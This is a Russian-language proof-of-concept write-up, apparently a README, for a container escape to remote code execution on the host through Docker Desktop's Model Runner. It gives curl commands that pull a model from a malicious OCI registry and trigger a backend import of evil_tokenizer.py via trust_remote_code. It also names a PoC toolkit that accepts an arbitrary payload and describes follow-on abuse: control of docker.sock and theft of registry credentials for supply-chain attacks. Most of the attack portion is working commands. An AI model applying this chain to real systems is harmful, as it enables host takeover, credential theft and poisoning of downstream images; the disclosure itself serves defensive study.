
Docker Model Runner: RCE / побег из контейнера на хост: критическая уязвимость, позволяющая выполнять код из контейнера на хосте в бэкенде инференса Docker Model Runner MLX / SGLANG / VLLM.
Любой контейнер на хосте Docker Desktop (с 4.40.0 по 4.67.x) может выполнить код на хосте с помощью двух HTTP-запросов. Никакого монтирования сокета, никакого --privileged, никаких capabilities.
Любой контейнер может обратиться к Model Runner по адресу model-runner.docker.internal без аутентификации. Он загружает модели из любого OCI-реестра, на который вы его направите, и сохраняет их без проверки дайджестов. Python-бэкенды (vLLM, MLX, SGLang) загружают модель с trust_remote_code=True (или, в случае MLX, вообще не распознаёт trust remote code в своём конфигурационном входе), что импортирует любой .py-файл, на который модель ссылается в tokenizer_config.json. Этот .py выполняется от имени пользователя рабочей станции.
Исходное положение: у атакующего есть выполнение кода внутри любого контейнера на хосте. Враждебный базовый образ, вредоносная npm/pip-установка в рабочем пространстве разработчика, CI-раннер, подхватывающий контролируемый атакующим код, и т.д. Никакого монтирования Docker-сокета, никакого --privileged, никаких дополнительных capabilities.
Проверяем Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 означает, что Model Runner включён и доступен из этого контейнера. Аутентификация не требуется, заголовок Origin не нужен.
Разворачиваем вредоносный OCI-реестр. Подойдёт любой HTTP-сервер, работающий по спецификации OCI distribution. Реестр должен быть доступен с хоста (Model Runner работает на хосте, а не в контейнере). Либо разместите его в публичном интернете, либо запустите локально и опубликуйте порт (docker-compose.yml делает последнее для этого PoC). Он отдаёт минимальную валидную Llama-модель, чей tokenizer_config.json содержит auto_map, указывающий на evil_tokenizer.py. evil_tokenizer.py — это полезная нагрузка на хосте. См. rce_registry.py.
Заставляем Model Runner выполнить pull из вашего реестра.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner скачивает манифест, затем каждый blob и записывает их в своё хранилище на диске. Никакого пересчёта или сравнения дайджестов, никакой проверки подписи. Вредоносная модель теперь установлена.
замените строки rce_registry.py:45-105 на произвольную полезную нагрузку.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
Доказательство сохраняется в /tmp/poc_rce_proof.
rce_registry.py - поддельный OCI-реестр, отдаёт минимальную Llama-модель и evil_tokenizer.pytest_claims.py - проверяет каждое утверждение по исходному коду и работающей системеrun_poc.sh - обёрткаdocker-compose.yml - реестр и непривилегированный контейнер атакующегоDockerfile.registry, Dockerfile.attacker - образыЗапускаем инференс, чтобы модель загрузилась.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner выбирает Python-бэкенд (vLLM, MLX или SGLang) и запускает его с --model <bundle_dir>, указывающим на сохранённую модель. Бэкенд вызывает AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers читает tokenizer_config.json, видит auto_map и импортирует evil_tokenizer.py из каталога bundle. Код на уровне модуля выполняется во время импорта.
Полезная нагрузка выполняется на хосте. Она выполняется от имени пользователя Docker Desktop, вне какого-либо контейнера, с полным доступом к файловой системе и сети пользователя. Сам инференс обычно завершается ошибкой (модель слишком мала, чтобы реально работать), но это не имеет значения — импорт произошёл раньше.
Что это даёт атакующему.
/var/run/docker.sock доступен. Управление демоном: создание привилегированных контейнеров, монтирование файловой системы хоста в один из них, exec в другие контейнеры и т.д.~/.docker/config.json хранятся учётные данные для каждого реестра, в который вошёл пользователь. Разворот в цепочке поставок: отправка вредоносных образов в вышестоящий реестр.